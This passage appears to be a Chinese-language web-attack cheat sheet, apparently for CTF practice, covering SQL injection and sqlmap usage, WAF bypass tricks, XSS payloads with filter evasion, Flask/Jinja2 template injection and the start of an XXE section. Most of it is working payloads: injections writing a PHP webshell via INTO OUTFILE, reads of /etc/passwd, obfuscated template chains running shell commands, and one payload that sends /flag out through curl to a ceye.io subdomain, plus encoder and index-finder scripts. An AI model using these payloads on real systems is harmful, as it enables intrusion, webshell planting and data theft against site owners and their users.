@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

生僻函数

MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);          

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))

and extractvalue(1, concat(0x5c, (select user()),0x5c))

\N绕过

\N相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

PCRE绕过

PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select

上面的还不行?尝试修改语句逻辑再绕过

sqlmap

基本步骤

检测是否有注入点
  • sqlmap -u “http://www.xxx.com/1.php?id=1”
获取所有数据库名
  • sqlmap -u “http://www.xxx.com/1.php?id=1” --dbs
获取数据表
  • sqlmap -u “http://www.xxx.com/1.php?id=1” -D yj–tables
获取列名
  • sqlmap -u “http://www.xxx.com/1.php?id=1” -D yj -T users --columns
获取数据
  • sqlmap -u “http://www.xxx.com/1.php?id=1” -D yj -T users -C id,username,password --dump

常用参数

-r
  • 读取文件,提交数据包
  • 用*进行标记
-m
  • 批量注入
–cookie
–user-agent
–current-db
–current-user
–users
  • 获取当前数据库的登陆用户
–passwords
  • 获取当前数据库的用户密码
-v

0:只显示python错误以及重要信息
1:显示信息以及警告(默认)
2:显示debug消息
3:显示注入payload
4:显示http请求
5:显示http响应头·
6:显示http响应内容

–level
–delay
–time-sec

读写文件

原理
    • load_file

      • 关键条件

        • 有读权限

          • secure_file_priv
          • SELinux
        • 知道绝对路径

      • 用法

        • id=1’ union select 1,2,load_file(‘/etc/passwd’)
        • id=1’ union select 1,2,load_file(0x0000000)
        • id=1’ union select 1,2,load_file(char(10,20))
        • id=1’ union select 1,2,hex(load_file(char(10,20)))
    • into outfile

      • 关键条件

        • 有写权限

          • secure_file_priv
          • SELinux
        • 知道绝对路径

        • 绕过单引号的过滤

      • 用法

        • id=1’ union select 1,2,‘<?php phpinfo();?>’ into outfile ‘/var/www/html/shell.php’
        • id=1’ union select 1,2,0x00000000 into outfile ‘/var/www/html/shell.php’
参数
    • –file-read
    • –file-write
    • –file-dest
进阶参数
  • –os-shell

    • 原理

      • 利用写文件,先写入一个简单的上传页面,再利用上传页面,上传一个webshell执行命令,从webshell页面获取命令回显
  • –os-cmd

waf

原理
  • 身份认证

    • 白名单
    • 黑名单
  • 数据包解析

  • 规则匹配

绕waf的方式
  • 身份认证层面

    • 伪造白名单
  • 数据包解析层面

    • 数据包加密

      • 冰蝎
      • 自加密
  • 规则匹配层面

    • 利用数据库、中间件、编程语言的种种特性进行绕过
绕waf基础方式
  • 大小写

    • uNioN SeLect
  • 替代

    • UNunionION SELselectECT
  • 特殊字符

    • 代替空格的特殊字符

      • %0a
      • %0c
    • 括号

    • 花括号

  • 编码

    • url编码
    • unicode编码
  • 注释符号

    • 普通注释
    • 内联注释
  • 综合方式

    • 大小写
    • 特殊字符
    • 编码
    • 注释符号
  • 参数污染

  • 缓冲区溢出

  • 分块传输

  • 正则绕过:\bselect\b -> /! 50000select/

  • 遗漏的注入点

Tamper
  • 常用的tamper脚本

  • 用法

    • sqlmap -u “http://www.xxx.com/index.php?id=1” --tamper space2comment.py
  • 进阶:自己编写tamper脚本

其他

注意站库分离

base64注入

二次解码注入

插入admin’or’1

宽字节注入

OOB

dns外带注入

SQL注入工具:jsql-injection/

总结文章

XSS

导图

常用的XSS攻击手段和目的

1.盗用cookie,获取敏感信息。
2.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
4.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。

分类

反射型

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

存储型

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

DOM型

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。

无任何过滤情况下

<scirpt>
<scirpt>alert("xss");</script>
<img>
<img src=1 onerror=alert("xss");>
<input>
<input onfocus="alert('xss');">
// 竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
<details>
<details ontoggle="alert('xss');">
// 使用open属性触发ontoggle事件,无需用户去触发
<details open ontoggle="alert('xss');">
<svg>
<svg onload=alert("xss");>
<select>
<select onfocus=alert(1)></select>
// 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<select onfocus=alert(1) autofocus>
<iframe>
<iframe onload=alert("xss");></iframe>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x  onerror=alert("xss");>
<body>
<body/onload=alert("xss");>

利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发

<body onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea>
<textarea onfocus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee>
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex>
<isindex type=image src=1 onerror=alert("xss")>//仅限于IE
利用link远程包含js文件(在无CSP的情况下)
<link rel=import href="http://127.0.0.1/1.js">
javascript伪协议

标签

<a href="javascript:alert(`xss`);">xss</a>
标签 ```javascript ```

标签

<img src=javascript:alert('xss')> //IE7以下

<form>标签

<form action="Javascript:alert(1)"><input type=submit>
其它
expression属性
<img style="xss:expression(alert('xss''))"> // IE7以下
<div style="color:rgb(''�x:expression(alert(1))"></div> //IE7以下
<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
background属性
<table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效

有过滤的情况下

过滤空格

/代替空格

<img/src="x"/onerror=alert("xss");>

过滤关键字

大小写绕过
<ImG sRc=x onerRor=alert("xss");>
双写关键字

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<imimgg srsrcc=x onerror=alert("xss");>
字符拼接

利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

<script>top["al"+"ert"](`xss`);</script>
其它字符混淆

有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了。下面举几个简单的例子:

可利用注释、标签的优先级等
1.<<script>alert("xss");//<</script>
2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
编码绕过

Unicode编码绕过

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码绕过

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

ascii码绕过

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex绕过

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

八进制

<img src=x onerror=alert('\170\163\163')>

base64绕过

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号,单引号

  1. 如果是HTML标签中,我们可以不用引号。如果是在JavaScript中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(`xss`);>
  1. 使用编码绕过,具体看上面我列举的例子,我就不多赘述了

过滤括号

当括号被过滤的时候可以使用throw来绕过

<svg/onload="window.οnerrοr=eval;throw'=alert\x281\x29';">

过滤url地址

使用url编码
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP
  1. 十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
  1. 八进制IP
<img src="x" onerror=document.location=`http://0177.0.0.01/`>
  1. hex
<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
  1. html标签中用//可以代替http://
<img src="x" onerror=document.location=`//www.baidu.com`>
  1. 使用\\

在windows下\本身就有特殊用途,是一个path 的写法,所以\\在Windows下是file协议,在linux下才会是当前域的协议

  1. 使用中文逗号代替英文逗号:如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

SSTI

模板和对应利用方法

基础

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。
此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {{g}}得到<flask.g of 'flask_ssti'>
dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值
dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default

利用和绕过

正常无过滤

使用popen方法:?name={{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}

过滤了.

使用访问字典的形式来获取函数或者类

{{().__class__}}
{{()["__class__"]}}
{{()|attr("__class__")}}
{{getattr('',"__class__")}}
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

过滤_

利用request.args.<param>绕:/?exploit={{request[request.args.pa]}}&pa=**class**

过滤’request[request.’

绕过原理:request | attr(request.args.a)等价于request["a"]?exploit={{request|attr(request.args.pa)}}&pa=**class**

过滤了单双引号(request绕过)

flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过

request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

过滤关键字

常规拼接
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
{{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}
+拼接
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt').read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()
[::-1]取反绕过
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
用join拼接
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
使用str原生函数替代
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
ascii转换
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
16进制编码
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")
unicode编码
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
lipsum.__globals__['os'].popen('tac /f*').read()
base64编码
().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()
利用chr函数

无法直接使用chr函数,需要通过__builtins__定位

{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
在jinja2可以使用~进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
过滤__init__可以用__enter____exit__替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
过滤config的绕过
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context}}
reload方法
del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement

del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

过滤了[ ]

数字中的[ ]
Python 3.7.8
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}
 
{{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
魔术方法中的[ ]

调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号

__getattribute__
{{"".__getattribute__("__cla"+"ss__").__base__}}
配合request
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami

过滤了{{ }}

使用{%%},并用print进行标记,得到回显
DNS外带 // TODO

过滤了 " ’ arg []

使用pop()或者__getitem__绕过

?name={{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')

过滤了 " ’ arg [] _

不能使用request.values.name,所以使用request.cookies.name,然后使用flask自带的attr' '|attr('__class__')等于 ' '.__class__lipsum是一个方法,其调用__globals__可以直接使用os执行命令

{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /f*

过滤了 " ’ arg [] _ os

使用request.cookies.a绕过

?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=__globals__;b=os;c=cat /f*

过滤了 " ’ arg [] _ os {{ }}

使用{%,因为{%%}是没有回显的,所以使用print来标记使他有回显

?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}
Cookie: a=__globals__;b=os;c=cat /f*

过滤了 " ’ arg [] _ os {{ }} request

拼接字符串
{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
lipnum|attr('__globals__').get('os').popen('cat /flag').read()
使用chr
{%set po=dict(po=a,p=a)|join%} #pop
{%set xia=(()|select|string|list).pop(24)%} #_
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__
{%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__
{%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__
{%set a=(lipsum|attr(glo)).get(built)%}
{%set chr=a.chr%} #chr()
{%print a.eval(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(108)~chr(115)~chr(39)~chr(41)).read()%}

print lipsum|attr('__globals__').get('__builtins__').eval(__import__('os').popen('ls')).read()

使用下面的脚本来获得ascii码

<?php
//使用chr绕过ssti过滤引号
$str="__import__('os').popen('ls')";
$result='';
for($i=0;$i<strlen($str);$i++){
    $result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);

过滤了 " ’ arg [] _ os {{ }} 数字

使用全角数字替代
# 将半角数字转换为全角绕过ban数字
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
t=''

while 1:
    s = input("输入想要的数字")
    for i in s:
        t+=half2full(i)
    print(t)
使用length获取数字
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

过滤了 " ’ arg [] _ os {{ }} 数字 print

使用dns外带(ceye.io),还是使用上面的原理,使用全角数字和chr进行命令执行,获得chr
<?php
//使用chr绕过ssti过滤引号
$str="__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')";
$result='';
for($i=0;$i<strlen($str);$i++){
    $result.='chr('.ord($str[$i]).')~';
}
echo substr($result,0,-1);
普通数字变全角脚本
#正则匹配出字符串中的数字,然后返回全角数字
import re
str="""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
"""
result=""
def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
for i in re.findall('\d{2,3}',str):
    result+="chr("+half2full(i)+")~"
    print(i)
print(result[:-1])
payload
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
)%}{%if x.eval(cmd)%}aaa{%endif%}

q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')")

其他

获取chr函数

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr  (x为任意值)

获取字符串

request.args.x1   	get传参
request.values.x1 	get、post传参
request.cookies
request.form.x1   	post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		post传参	(Content-Type:a/b)
request.json		post传json  (Content-Type: application/json)

特殊读文件

{url_for.__globals__['current_app'].config.FLAG}}

{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{{self}} ⇒ <TemplateReference None>
{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

脚本

找存在__builtins__的子类

search='__builtins__'
num=-1
for i in ''.__class__.__bases__[0].__subclasses__():
    num+=1
    try:
        if search in i.__init__.__globals__.keys():
            print(i,num)
    except:
        pass

定位下标

import json
# 所有获得的子类
classes="""
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>,...........
"""
num=0
alllist=[]
result=""
for i in classes:
    if i==">":
        result+=i
        alllist.append(result)
        result=""
    elif i=="\n" or i==",":
        continue
    else:
        result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
    if "warnings.catch_warnings" in v:
        print(str(k)+"--->"+v)

使用request定位下标

import requests
import time
import html
for i in range(0,300):
    time.sleep(0.06)
    payload = "{{().__class__.__mro__[-1].__subclasses__()[%s]}}" % i
    url = 'http://127.0.0.1:5000?name='
    r = requests.post(url+payload)
    if "catch_warnings" in r.text:
        print(r.text)
        print(i)
        break

XXE

基础

XML

	<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
	<!--DTD,这部分可选的-->          
<!DOCTYPE foo [ 
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
	<!--文档元素-->                                                                          
<foo>&yj;</foo>

DTD

DTD即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。DTD一般认为有两种引用或声明方式:内部内嵌在XML文件中,外部的独立出为.dtd文件

DTD实体有以下几种声明方式

内部实体
<!DOCTYPE note [
    <!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->
参数实体
<!-- 参数实体用`% name`申明,引用时用`%name;`,只能在DTD中申明,DTD中引用。其余实体直接用`name`申明,引用时用`&name;`,只能在DTD中申明,可在xml文档中引用 -->
<!DOCTYPE note> [
    <!ENTITY % b "<!ENTITY b1 "yyds">">
    %b;
]>
<note>&b1</note>
<!-- yyds -->

外部实体

<!DOCTYPE note> [
    <!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
img
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
img

外部参数实体

<!DOCTYPE note> [
    <!ENTITY % d SYSTEM "http://47.47.47.47/xml.dtd">
或  <!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">
    %d;
]>
<note>&d1</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

XXE

任意文件读取

有回显
恶意引入外部实体

直接读靶机文件

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [ 
<!ENTITY rabbit SYSTEM "file:///flag" >
]>
